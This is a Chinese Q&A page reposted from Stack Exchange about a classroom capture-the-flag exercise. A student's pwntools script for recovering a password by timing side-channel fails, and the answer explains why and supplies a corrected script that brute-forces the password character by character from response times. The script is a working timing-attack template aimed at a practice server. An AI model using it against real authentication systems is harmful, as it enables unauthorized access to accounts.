You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

如何用Python pwn工具解决侧信道攻击实训问题并调试脚本

问题

我正在完成一项课堂实训任务,需通过远程服务器获取密码,目标是使用Python pwn库。当我用nc IP port连接服务器时,输出如下:

[0000014075] Initializing the exercice...
[0001678255] Looking for a door...
[0001990325] Trying to unlock the door...
^ _ ^ Ready for the challenge ? _
Answer :

我理解这是侧信道攻击场景,需通过每次交互的时间差获取正确字符以得到完整密码。我编写了对应脚本,但运行后得到奇怪密码:final pass 05010000000000000000000000000000000000000000000000,验证失败。请问如何获取正确密码?是否是时间差计算有问题?有哪些脚本调试思路?

脚本代码:

import time
from pwn import *

conn = remote('URL', port)

def determine_character(duration) -> str:

    chars = "0123456789ABCDEFGHIJKLMNOPQRSTWXYZabcdefghijklmnopqrstuvwyz"
    return chars[int(duration * 10 / 3)]

final_pass = ""
supposedLength = 50;
for i in range (supposedLength):
    conn.sendline("test")
    start = time.time()
    conn.sendline("a")
    conn.recvline()
    stop = time.time()
    print (current_time2)
    duration = (stop - start)
    
    real_pass = determine_character(duration)
    print (real_pass)
    final_pass += str(real_pass)
    
print ("final pass {} : ". format(final_pass))

print (conn.recvline())
for i in range (supposedLength):
    conn.sendline(final_pass[i])
    print(conn.recvline())

解决方案

核心问题分析

1. 时间差计算逻辑完全错误

你的determine_character函数用固定公式换算字符的做法毫无依据。侧信道攻击的核心是:正确字符的交互耗时会明显长于错误字符——服务器会逐个比对输入字符,当输入正确字符时,会多执行一轮后续比对逻辑(或触发延迟),所以正确字符的耗时是所有候选里的峰值,不是靠公式硬算。

2. 交互逻辑混乱

  • 循环里先sendline("test")完全多余,会干扰服务器的交互流程;
  • 每次只输入单个字符"a",没有基于已破解的正确前缀去验证下一位,不符合侧信道攻击的常规逻辑(应该逐步构建正确前缀,每次验证前缀+候选字符的耗时);
  • 代码里存在未定义变量current_time2,直接会报错,这是基础错误。

正确的脚本思路

  1. 确定密码长度:输入不同长度的字符串,观察耗时变化,当长度超过真实密码时,耗时会稳定在固定值,以此确定真实长度;
  2. 逐位破解:对每一位,遍历所有候选字符,输入已破解前缀+候选字符,记录每个字符的耗时,取耗时最长的作为当前位的正确字符;
  3. 优化时间测量:用time.perf_counter()代替time.time()(精度更高),多次测量取平均值抵消网络波动。

修改后的示例脚本

import time
from pwn import *

# 替换为实际服务器地址和端口
conn = remote('IP', port)

# 补全原脚本遗漏的字符U
chars = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
password_length = 50  # 若未知长度可先探测
final_pass = ""

# 逐位破解
for _ in range(password_length):
    max_time = 0.0
    best_char = ''
    for c in chars:
        test_str = final_pass + c
        # 清空缓冲区避免残留数据干扰计时
        conn.clean()
        # 发送测试字符串并计时
        start = time.perf_counter()
        conn.sendline(test_str)
        # 接收服务器响应(根据实际情况调整,比如直到出现Answer提示)
        conn.recvuntil("Answer :")
        stop = time.perf_counter()
        
        elapsed = stop - start
        print(f"测试 {test_str} -> 耗时 {elapsed:.6f}s")
        # 记录最长耗时的字符(即正确字符)
        if elapsed > max_time:
            max_time = elapsed
            best_char = c
    final_pass += best_char
    print(f"找到当前位字符: {best_char}, 已破解密码: {final_pass}")

# 验证最终密码
print(f"最终密码: {final_pass}")
conn.clean()
conn.sendline(final_pass)
print(conn.recvline())

conn.close()

调试思路

  • 打印原始耗时数据:先不直接换算字符,把每个候选字符的耗时都打印出来,确认是否存在明显的峰值(正确字符耗时通常是其他字符的数倍);
  • 单字符耗时对比:单独测试已知正确/错误字符的耗时差异,确认服务器确实存在时间泄露;
  • 排除网络干扰:多次测量同一字符的耗时取平均值,或在本地搭建模拟环境测试脚本;
  • 检查交互流程:用conn.recv()/conn.recvline()确认每次发送后服务器的响应是否符合预期,避免因接收不完整导致计时错误;
  • 探测密码长度:输入不同长度的字符串,当长度超过真实密码时,耗时不再增加,以此确定真实长度。

内容的提问来源于stack exchange,提问作者Julien

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.07.23 19:35:33